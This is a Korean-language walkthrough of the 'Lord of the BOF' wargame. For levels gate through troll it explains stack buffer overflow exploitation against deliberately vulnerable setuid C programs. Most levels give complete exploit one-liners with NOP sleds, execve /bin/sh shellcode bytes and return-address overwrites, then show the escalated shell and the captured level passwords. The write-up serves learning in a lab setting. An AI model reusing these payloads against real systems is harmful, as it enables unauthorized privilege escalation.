The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin (soh357@gmail.com) -Contents- 0x00 프롤로그 -------------------------------------------------------------------------- 2 0x01 gate ----------------------------------------------------------------------------- 2 0x02 gremlin -------------------------------------------------------------------------- 5 0x03 cobolt --------------------------------------------------------------------------- 6 0x04 goblin --------------------------------------------------------------------------- 8 0x05 orc ----------------------------------------------------------------------------- 10 0x06 wolfman ------------------------------------------------------------------------- 12 0x07 darkelf -------------------------------------------------------------------------- 13 0x08 orge ---------------------------------------------------------------------------- 16 0x09 troll ---------------------------------------------------------------------------- 19 0x0a vampire ------------------------------------------------------------------------ 22 0x0b skeleton ------------------------------------------------------------------------ 25 0x0c golem -------------------------------------------------------------------------- 28 0x0d darkknight ---------------------------------------------------------------------- 38 0x0e bugbear ------------------------------------------------------------------------ 40 0x0f giant ---------------------------------------------------------------------------- 43 0x10 assassin ------------------------------------------------------------------------- 48 0x11 zombie_assassin ----------------------------------------------------------------- 52 0x12 succubus ----------------------------------------------------------------------- 59 0x13 nightmare ----------------------------------------------------------------------- 63 0x14 xavius -------------------------------------------------------------------------- 69 0x15 에필로그 ------------------------------------------------------------------------- 78-1 -
0x00 프롤로그 드디어 RedHat 원정대를마치고 Fedora성에진입할수있게되었습니다. 여름에시작한원정은약 8개월만에끝을보게되었네요. 프롤로그에선간단한팁과간략한문제소개를하겠습니다.. - TIP! [gate@localhost gate]$ chsh Changing shell for gate. Password: New shell [/bin/bash]: /bin/bash2 Shell changed. chsh는로그인한계정의기본쉘을변경하는명령어입니다. login: gate Password: Last login: Sun Jan 8 06:12:07 from 192.168.0.250 [gate@localhost gate]$ ps PID TTY TIME CMD 4531 pts/0 00:00:00 bash2 4548 pts/0 00:00:00 ps 다음로그인시에이와같이바로 bash2로진입하게됩니다. -소개 Contents를보시면알겠지만이게임은원정을하면서몬스터를잡아나가는게임입니다. 레벨이올라갈수록몬스터는강해지며많은지식을필요로합니다. 악명높은 (?) 몬스터들의주요특징을보겠습니다. ex1)egg hunter : 환경변수이용이불가능해집니다. 에그쉘과같은장비를착용한원정대원은여기가고비. 이후에도 hunter 계열의특징을가진몬스터가등장합니다. ex2)stack destroyer : 스택영역을깨부수는능력입니다. mental 조심하세요. ex3)dangerous waterfall : 리턴주소를덮어씁니다. 여러분에게 ret의소중함을일깨워드립니다. 0x01 gate Xshell을이용하여원정대서버에접속하였습니다. Xshell 4 (Build 0096) Copyright (c) 2002-2011 NetSarang Computer, Inc. All rights reserved. Type `help' to learn how to use Xshell prompt. Xshell:\> telnet 192.168.137.128 vmware 에서 /sbin/ifconfig 로확인한 ip 입니다. Connecting to 192.168.137.128:23... Connection established. Escape character is '^@]'. ------------------- `\ /:-- - 2 -
< > / \ / ------------------- The Load of the BOF : The Feelowship of the BOF, 2010 [enter to the dungeon] gate : gate [RULE] - do not use local root exploit - do not use LD_PRELOAD to my-pass - do not use single boot [h4ck3rsch001] _ ------------------------- `\ /`--_ [ ] / \===/ -------------------------- BOF원정대의메인화면입니다. 룰을확인하세요. 기본계정은 gate/gate입니다. login: gate Password: Last login: Sat Oct 22 21:57:14 from 192.168.137.1 소스를보겠습니다. [gate@localhost gate]$ cat gremlin.c #include<stdio.h> int main(int argc, char *argv[]) char buffer[256]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); strcpy함수에의해 argv[1] 에입력한값을 256byte짜리버퍼에널을만날때까지복사합니다. -argc, argv 예시./gremlin <input1> <input2>... argv[0] argv[1] argv[2]... argc=3./gremlin <input1> argv[0] argv[1] argc=2./gremlin argv[0] - 3 -
argc=1 [gate@localhost gate]$ bash2 특수문자 (ex ; 0xff) 의원활한처리를위해 bash2쉘사용. [gate@localhost gate]$ cd tmp 미리만들어둔 tmp 디렉토리에접근 [gate@localhost tmp]$ vi gremlin.c 소스복사후 buffer의주소를출력하는부분을추가하였습니다.[ printf( %#x\n,buffer); ] [gate@localhost tmp]$ gcc -o gremlin gremlin.c 컴파일하고 [gate@localhost tmp]$ gcc v gcc의버전을확인합니다. 2.96이상부터는더미가존재하므로여기선더미가없습니다. Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) [gate@localhost tmp]$./gremlin $(python -c 'print "\x90"*260')???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? 0xbffffb4f Segmentation fault (core dumped) 버퍼주소출력후세그폴이발생했습니다. 따라서구조는 [buffer 256]+[sfp 4]+[ret( 리턴주소 ) 4] 입니다. [gate@localhost tmp]$./gremlin $(python -c 'print "\x90"*100+"shellcode 24 byte"+"\x90"*136+"ret"') -페이로드구성 [nop 100]+[shellcode 24]+[shellcode 136]+[ret 4]????????????????????????????????????????????????????????????????????????????????????????????????????shellcode 0xbffffb53 [gate@localhost tmp]$./gremlin $(python c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\x53\xfb\xff\xbf"')????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??s?? 것????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????S? 0xbffffb4b bash$ id uid=500(gate) gid=500(gate) groups=500(gate) bash$ exit exit tmp에만들어둔사본에서공격이성공하였습니다. [gate@localhost tmp]$ cd.. 이제원본에공격을시도하겠습니다. [gate@localhost gate]$./gremlin $(python c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\x53\xfb\xff\xbf"')????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??s?? - 4 -
것????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????S? bash$ whoami gremlin bash$ id uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ my-pass euid = 501 hello bof world 0x02 gremlin 마찬가지로접속후소스를보겠습니다. Last login: Sat Oct 22 22:12:36 from 192.168.137.1 [gremlin@localhost gremlin]$ cat cobolt.c int main(int argc, char *argv[]) char buffer[16]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 버퍼가작아진것빼곤별다를게없어보입니다. 그러므로구조는 [buffer 16]+[sfp 4]+[ret 4] 입니다. strcpy함수는 null을만나기전까진 argv[1] 의내용을 buffer에복사합니다. [gremlin@localhost gremlin]$ bash2 [gremlin@localhost gremlin]$ vi coboll.c [gremlin@localhost gremlin]$ gcc -o coboll coboll.c buffer의 ret 뒷부분을출력해주는부분을추가하여사본파일을만듭니다.[ printf( %#x\n,&buffer[25]); ] -페이로드구성 [nop 20]+[ret 4]+[nop 10]+[shellcode 24] [gremlin@localhost gremlin]$./coboll $(python -c 'print "\x90"*20+"\x3c\xfa\xff\xbf"+"\x90"*10+"\x31\xc0 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')????????????????????<? 퓧?????????1픐h//shh/bin??S?? 것 0xbffffa41 Illegal instruction (core dumped) ret부분엔임의로아무거나 4byte 넣어서실행해보고밑에주소가뜨면해당주소로넣어줍니다. [gremlin@localhost gremlin]$./coboll $(python -c 'print "\x90"*20+"\x41\xfa\xff\xbf"+"\x90"*10+"\x31\xc0 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')????????????????????a? 퓧?????????1픐h//shh/bin??S?? 것 0xbffffa41 bash$ exit exit - 5 -
성공했습니다. 이제원본에시도해봅니다. [gremlin@localhost gremlin]$./cobolt $(python -c 'print "\x90"*20+"\x41\xfa\xff\xbf"+"\x90"*10+"\x31\xc0 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')????????????????????a? 퓧?????????1픐h//shh/bin??S?? 것 bash$ whoami cobolt bash$ id uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed bash$ exit exit 0x03 cobolt login: cobolt Password: Last login: Sat Oct 22 15:24:37 from 192.168.137.1 [cobolt@localhost cobolt]$ cat goblin.c int main() char buffer[16]; gets(buffer); printf("%s\n", buffer); cobolt는 strcpy가 gets로바뀌었습니다. gets 역시널바이트를만나기전까지입력한값을 buffer에넣으므로 BOF에좋습니다. [cobolt@localhost cobolt]$ ls goblin goblin.c [cobolt@localhost cobolt]$ mkdir tmp [cobolt@localhost cobolt]$ cd tmp [cobolt@localhost tmp]$ vi goblin.c [cobolt@localhost tmp]$ gcc -o goblin goblin.c /tmp/ccolwvw9.o: In function `main': /tmp/ccolwvw9.o(.text+0xb): the `gets' function is dangerous and should not be used. 사본을만든후컴파일해주니 gcc 컴파일러가친절하게 gets함수는 BOF에좋다고설명해줍니다. 이번에도소스끝에 printf( %#x\n,&buffer[50]); 과같은내용을추가하였습니다. [cobolt@localhost tmp]$ (python -c 'print "\x90"*20';cat)./goblin -페이로드 [nop 20]+[ret 4]+[nop 100]+[shellcode 24] 저번과동일하게 [buffer 16]+[sfp 4]+[ret 4] 구조이므로페이로드형태도거의같습니다. 다만여기선 nop에리턴될확률을높이고자뒤의 nop의수를 10배로올렸습니다. 또한 (python문;cat)./goblin을해준다면 () 는여러개의명령문을그룹화하여하나의명령문으로서브쉘에서실행하며서로동등한자식프로세스로연결되면서 cat의입력받은라인이파이프를통해 sh로전달됩니다. 따라서쉘코드를실행하자마자바로끝나지않고 cat 표준입력으로부터입력을기다리게되는데입력받은라인을다시표준출력을하 - 6 -
게되므로권한을획득한상태에서도계속해서명령을수행할수있습니다. [cobolt@localhost tmp]$ cat sh pstree init-+-atd -crond -death_knight---death_knight -gpm -httpd---8*[httpd] -identd---identd---3*[identd] -inetd---in.telnetd---login---bash2-+-cat `-sh---pstree...???????????????????? 0xbffffb51 [cobolt@localhost tmp]$ (python -c 'print "\x90"*20+"\x51\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x 2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat)./goblin????????????????????Q? 퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S?? 0xbffffb51 whoami cobolt exit 것 [cobolt@localhost tmp]$ cd.. [cobolt@localhost cobolt]$ (python -c 'print "\x90"*20+"\x51\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f \x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat)./goblin????????????????????q? 퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S?? 것 whoami goblin id uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) my-pass euid = 503 hackers proof pstree( 일부생략 ) bash2-+-bash2---cat `-sh---pstree exit - 7 -
[cobolt@localhost cobolt]$ 0x04 goblin [goblin@localhost goblin]$ cat orc.c #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); environ은프로그램실행환경값을가지고있는광역변수로, 여기선 environment( 환경변수 ) 를전부 0을넣어버립니다. 또한 argv[1][47] 부분이 0xbf인지확인하네요. buffer은 40byte이므로 [buffer 40]+[sfp 4]+[ret 4] 입니다. [goblin@localhost goblin]$ bash2 [goblin@localhost goblin]$ ls orc orc.c [goblin@localhost goblin]$ mkdir tmp [goblin@localhost goblin]$ cd tmp [goblin@localhost tmp]$ vi orc.c [goblin@localhost tmp]$ gcc -o orc orc.c [goblin@localhost tmp]$./orc $(python -c 'print "\x90"*47+"\xbf"')??????????????????????????????????????????????? 0xbffffac0 Segmentation fault (core dumped) buffer 주소를출력하는사본생성후조건에맞게넣어줘서 buffer의주소를확인합니다. -페이로드 - 8 -
[shellcode 24]+[nop 20]+[ret 4] [goblin@localhost tmp]$./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\xc0\xfa\xff\xbf"') 1픐h//shh/bin??S?? 것???????????????????? 저 0xbffffac0 bash$ id uid=503(goblin) gid=503(goblin) groups=503(goblin) bash$ exit exit [goblin@localhost tmp]$ cd.. [goblin@localhost goblin]$./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6 e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\xc0\xfa\xff\xbf"') 1픐h//shh/bin??S?? 것???????????????????? 저 Illegal instruction 쉘코드중간에점프했을경우이와같이잘못된명령어란메시지가뜹니다. 아마리턴주소가변경된걸겁니다. [goblin@localhost goblin]$ cd tmp [goblin@localhost tmp]$./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\xc0\xfa\xff\xbf"') 1픐h//shh/bin??S?? 것???????????????????? 저 0xbffffaa0 Illegal instruction (core dumped) 예상대로사본에서도리턴주소가바뀌어있습니다. 변덕스런시스템이다시리턴주소를바꾸기전에어서시도해봐야겠습니다. [goblin@localhost tmp]$./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\xa0\xfa\xff\xbf"') 1픐h//shh/bin??S?? 것?????????????????????? 0xbffffaa0 bash$ id uid=503(goblin) gid=503(goblin) groups=503(goblin) bash$ exit exit [goblin@localhost tmp]$ cd.. [goblin@localhost goblin]$./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6 e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\xa0\xfa\xff\xbf"') 1픐h//shh/bin??S?? 것?????????????????????? bash$ whoami orc bash$ id uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin) bash$ my-pass euid = 504-9 -
cantata bash$ exit 0x05 orc [orc@localhost orc]$ cat wolfman.c #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); buffer hunter가추가된점을제외하면이전과동일합니다. buffer앞부분은사용할수없으므로 gremlin과동일하게 ret뒤쪽에쉘코드를집어넣어풀어보겠습니다. [orc@localhost orc]$ bash2 -페이로드 [nop 44]+[ret 4]+[nop 150]+[shellcode 24] 이번에도성공률을높이기위해다량의 nop를넣어주었습니다. [orc@localhost orc]$ mkdir tmp [orc@localhost orc]$ ls -l total 24 drwxrwxr-x 2 orc orc 4096 Mar 31 23:46 tmp -rwsr-sr-x 1 wolfman wolfman 12587 Feb 26 2010 wolfman - 10 -
-rw-r--r-- 1 root root 581 Mar 29 2010 wolfman.c [orc@localhost orc]$ cd tmp [orc@localhost tmp]$ vi wolfman.c [orc@localhost tmp]$ gcc -o wolfman wolfman.c [orc@localhost tmp]$./wolfman $(python -c 'print "\x90"*44+"\xc0\xfe\xff\xbf"+"\x90"*150+"\x31\xc0\x50\x 68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') &buffer[50] 출력하는부분을추가한사본에공격을시도합니다. 젊? 1?h//shh/bin?S? 것 0xbffffa42 Segmentation fault (core dumped) 임의의 ret주소로시도후출력된주소를가지고재시도해봅니다. [orc@localhost tmp]$./wolfman $(python -c 'print "\x90"*44+"\x42\xfa\xff\xbf"+"\x90"*150+"\x31\xc0\x50\x 68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') B?? 1?h//shh/bin?S? 것 0xbffffa42 bash$ id uid=504(orc) gid=504(orc) groups=504(orc) bash$ exit exit [orc@localhost tmp]$ cd.. 다시원본에시도해보겠습니다. [orc@localhost orc]$./wolfman $(python -c 'print "\x90"*44+"\x42\xfa\xff\xbf"+"\x90"*150+"\x31fman $(pyt hon -c 'print "\x90"*44+"\x42\xfa\xff\xbf"+"\x90"*150+"\x31\xc0\x50\x68\x2f\x2f\x73\x B?? 1?h//shh/bin?S? 것 bash$ whoami wolfman bash$ id uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc) bash$ my-pass euid = 505 love eyuna bash$ exit exit ---------------------------------------------------------------------------------------2012_03_31-11 -
0x06 wolfman [wolfman@localhost wolfman]$ bash2 [wolfman@localhost wolfman]$ cat darkelf.c #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); argument 길이가 48이넘지않아야합니다. 나머지는이전과동일합니다. 따라서버퍼로복사되는문자열은 48을넘기지못하므로 argv[] 인자배열을활용해봅시다. [wolfman@localhost tmp]$ bash2 [wolfman@localhost tmp]$ mkdir tmp [wolfman@localhost tmp]$ cd tmp - 12 -
[wolfman@localhost tmp]$ vi darkelf.c [wolfman@localhost tmp]$ gcc o darkelf darkelf.c printf( %#x,argv[1]); 가추가된사본을만든후컴파일하였습니다. -페이로드 [nop 20]+[shellcode 24]+[ret 4] [wolfman@localhost tmp]$./darkelf $(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x 2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"') 1?h//shh/bin?S? 것ꠖ? 0xbffffc17 나온주소대로넣어보면.. [wolfman@localhost tmp]$./darkelf $(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x 2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x17\xfc\xff\xbf"') 1?h//shh/bin?S? 것ꠖ? 0xbffffc17 bash$ id uid=505(wolfman) gid=505(wolfman) groups=505(wolfman) bash$ exit exit 반가운쉘이나옵니다. [wolfman@localhost tmp]$ cd.. 원본에그대로시도해보겠습니다. [wolfman@localhost wolfman]$./darkelf $(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x 68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x17\xfc\xff\xbf"') 1?h//shh/bin?S? 것ꠖ? bash$ whoami darkelf bash$ id uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman) bash$ my-pass euid = 506 kernel crashed bash$ exit exit 0x07 darkelf [darkelf@localhost darkelf]$ bash2 [darkelf@localhost darkelf]$ cat orge.c #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) - 13 -
char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // here is changed! if(strlen(argv[0])!= 77) printf("argv[0] error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // shellcode hunter memset(buffer, 0, 40); 친절하게바뀐부분을주석에서설명해주고있습니다. argv[0] 의길이가 77인지확인합니다. [darkelf@localhost darkelf]$ mkdir tmp [darkelf@localhost darkelf]$ cd tmp [darkelf@localhost tmp]$ cat > test.c main(int argc, char *argv[]) printf("%s\n%d\n",argv[0],strlen(argv[0])); [1]+ Stopped cat >test.c - 14 -
[darkelf@localhost tmp]$ gcc -o test test.c 이해를돕기위해간단한예제를작성하였습니다. [darkelf@localhost tmp]$./test./test 6 [darkelf@localhost tmp]$ /home/darkelf/tmp/test /home/darkelf/tmp/test 22 하위경로를만들어서이름을 77자로맞춰주는방법도있지만이런방법을쓸수도있습니다. [darkelf@localhost tmp]$././././././././././././././././././././././././././././././././././././test././././././././././././././././././././././././././././././././././././test 76. 은현재경로를의미하며.. 은상위경로를의미함을이용합니다. 하나가모자라니앞에홀수경로를추가해주겠습니다. [darkelf@localhost tmp]$../tmp/$(python -c 'print "./"*33')test../tmp/./././././././././././././././././././././././././././././././././test 77 하다보니알게되었는데 / 이많이와도상관없네요. [darkelf@localhost tmp]$ $(python -c 'print "\x2e"+"\x2f"*72+"\x74\x65\x73\x74"').////////////////////////////////////////////////////////////////////////test 77 77로맞춰봤습니다. 심볼릭링크또는하드링크로도맞출수있습니다. [darkelf@localhost tmp]$ ln -s test $(python -c 'print "\x41"*75') [darkelf@localhost tmp]$./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa AAAAAAAAAAAAAAAAAAA./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 77 [darkelf@localhost tmp]$ vi orge.c [darkelf@localhost tmp]$ gcc -o orge orge.c 저번과마찬가지로 argv[1] 을출력하게하는사본을만들고컴파일하였습니다. -페이로드 [.]+[/ 72]+[orge]+[ (0x20= 공백 )]+[shellcode 24]+[nop 20]+[ret 4] [darkelf@localhost tmp]$ $(python -c 'print "\x2e"+"\x2f"*72+"orge\x20"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\xff\xff\xff\xbf"') 1?h//shh/bin?S? 것 0xbffffb8f Segmentation fault (core dumped) [darkelf@localhost tmp]$ $(python -c 'print "\x2e"+"\x2f"*72+"orge\x20"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x8f\xfb\xff\xbf"') 1?h//shh/bin?S? 것? 0xbffffb8f bash$ id - 15 -
uid=506(darkelf) gid=506(darkelf) groups=506(darkelf) bash$ exit exit 사본에서쉘이떴으니원본에동일하게시도하겠습니다. [darkelf@localhost tmp]$ cd.. [darkelf@localhost darkelf]$ $(python -c 'print "\x2e"+"\x2f"*72+"orge\x20"+"\x31\xc0\x50\x68\x2f\x2f\x73 \x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x8f\xfb\xff\xbf"') 1?h//shh/bin?S? 것? bash$ whoami orge bash$ id uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf) bash$ my-pass euid = 507 timewalker bash$ exit exit 0x08 orge [orge@localhost orge]$ bash2 [orge@localhost orge]$ cat troll.c #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; // here is changed if(argc!= 2) printf("argc must be two!\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); - 16 -
// check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); argv[1] 마저사냥당합니다. 게다가인자개수도 2개로제한되었으므로 argv[2~] 도사용할수없습니다. 그러므로남아있는 argv[0] 을사용해봅시다. [orge@localhost orge]$ mkdir tmp [orge@localhost orge]$ cd tmp [orge@localhost tmp]$ vi troll.c [orge@localhost tmp]$ gcc -o troll troll.c printf( %#x\n,&argv[0][15]); 를추가한적절한사본을만듭니다. [orge@localhost tmp]$./troll $(python -c 'print "\x90"*47+"\xbf"')??????????????????????????????????????????????? 0xbffffc3a argv[0][15] 의주소를구했습니다. 실행하면대략이런모습입니다. argv[0]=./troll argv[1]=(nop*47+\xbf가들어갔지만결국전부 0x00) [orge@localhost tmp]$ mkdir --help Usage: mkdir [OPTION] DIRECTORY... Create the DIRECTORY(ies), if they do not already exist. -m, --mode=mode set permission mode (as in chmod), not rwxrwxrwx - umask -p, --parents no error if existing, make parent directories as needed --verbose print a message for each created directory --help display this help and exit --version output version information and exit 이제 argv[0] 에쉘코드를넣기위해 mkdir p 옵션을줘서 nop와쉘코드로된디렉터리를만듭니다. Report bugs to <bug-fileutils@gnu.org>. [orge@localhost tmp]$ mkdir -p $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') (\x2f가디렉터리 (/) 를이기때문에그냥만들어주면에러납니다.) 이제아까구한 argv[0][15] 의주소로원본에시도해줍니다. -페이로드 - 17 -
[./tmp/]+[nop 100]+[shellcode 24]+[/../../../../troll]+[ ( 공백 )]+[nop 44]+[ret 4] 원본파일기준으로 tmp경로에 [\x90*100][\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68] 로된폴더안에 \x73\x68\x68 (shh) 폴더안에 [\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80] 폴더가있으므로상위경로의상위경로의상위경로의상위경로는 /home/orge 가됩니다. 따라서 /../../../../troll 이되는겁니다. [orge@localhost orge]$ $(python -c 'print "./tmp/"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"/../../../../troll"') $(python -c 'print "\x90"* 44+"\x3a\xfc\xff\xbf"') :? Segmentation fault 세그폴이뜬걸로보아주소가바뀌었나봅니다. [orge@localhost orge]$ $(python -c 'print "./tmp/"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"/../../../troll"') $(python -c 'print "\x90"*44 +"\x3a\xfc\xff\xbf"') ¾ 0xbffffa20 역시다른주소가나왔습니다. Segmentation fault (core dumped) [orge@localhost orge]$ $(python -c 'print "./tmp/"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"/../../../../troll"') $(python -c 'print "\x90"* 44+"\x20\xfa\xff\xbf"') argc must be two! 인자수가안맞는다는군요. 0x20이원인입니다. 0x20은공백을의미하며, 0x00 취급해버리기때문에스크립트양쪽에 (double quotation) 을붙여줘야합니다. [orge@localhost orge]$ $(python -c 'print "./tmp/"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"/../../../../troll"') "$(python -c 'print "\x90" *44+"\x20\xfa\xff\xbf"')"? bash$ whoami troll bash$ id uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge) bash$ my-pass euid = 508 aspirin bash$ exit exit 이방법외에도심볼릭링크 (or 하드링크 ) 를통한방법으로도풀수있습니다. ( 링크전에 mkdir p 작업필요 ) [orge@localhost orge]$ ln -s /home/orge/troll $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x7 3\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') [orge@localhost orge]$ tmp/troll $(python -c 'print "\x90"*47+"\xbf"')??????????????????????????????????????????????? 0xbffffb14 Segmentation fault (core dumped) [orge@localhost orge]$./$(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x6 9\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "\x90"*44+"\x14\xfb\xff\xbf"')????????????????????????????????????????????? - 18 -
